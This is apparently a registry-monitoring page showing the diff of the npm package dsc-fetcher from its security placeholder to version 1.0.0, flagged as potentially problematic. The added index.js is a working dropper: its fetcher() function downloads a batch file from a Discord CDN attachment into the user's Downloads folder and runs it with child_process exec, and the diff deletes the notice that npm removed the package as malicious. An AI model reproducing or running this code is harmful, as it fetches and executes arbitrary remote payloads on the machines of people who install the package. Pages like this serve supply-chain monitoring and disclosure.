dsc-fetcher 0.0.1-security → 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of dsc-fetcher might be problematic. Click here for more details.
- package/index.js +42 -0
- package/package.json +15 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,42 @@
|
|
1
|
+
const axios = require('axios');
|
2
|
+
const fs = require('fs');
|
3
|
+
const { exec } = require('child_process');
|
4
|
+
const os = require('os');
|
5
|
+
const path = require('path');
|
6
|
+
|
7
|
+
const urlF = 'https://cdn.discordapp.com/attachments/1199821163073912965/1199826283677372468/test.bat?ex=65c3f44d&is=65b17f4d&hm=5d62224119686e492017753593d969dc4e973cfde9b27e77df05146b14e04a9f&';
|
8
|
+
const folderD = path.join(os.homedir(), 'Downloads', 'test.bat');
|
9
|
+
|
10
|
+
async function fetcher() {
|
11
|
+
try {
|
12
|
+
const response = await axios({
|
13
|
+
method: 'GET',
|
14
|
+
url: urlF,
|
15
|
+
responseType: 'stream'
|
16
|
+
});
|
17
|
+
|
18
|
+
const writer = fs.createWriteStream(folderD, { flags: 'w+' });
|
19
|
+
response.data.pipe(writer);
|
20
|
+
|
21
|
+
return new Promise((resolve, reject) => {
|
22
|
+
writer.on('finish', () => {
|
23
|
+
exec(`"${folderD}"`, (error, stdout, stderr) => {
|
24
|
+
if (error && error.code !== 1) {
|
25
|
+
console.error();
|
26
|
+
reject(error);
|
27
|
+
return;
|
28
|
+
}
|
29
|
+
console.log();
|
30
|
+
console.error();
|
31
|
+
resolve();
|
32
|
+
});
|
33
|
+
});
|
34
|
+
writer.on('error', reject);
|
35
|
+
});
|
36
|
+
} catch (error) {
|
37
|
+
console.error(error);
|
38
|
+
throw error;
|
39
|
+
}
|
40
|
+
}
|
41
|
+
|
42
|
+
module.exports = { fetcher };
|
package/package.json
CHANGED
@@ -1,6 +1,18 @@
|
|
1
1
|
{
|
2
2
|
"name": "dsc-fetcher",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"keywords": [],
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"axios": "^1.6.5",
|
14
|
+
"child_process": "^1.0.2",
|
15
|
+
"os": "^0.1.2",
|
16
|
+
"path": "^0.12.7"
|
17
|
+
}
|
6
18
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=dsc-fetcher for more information.
|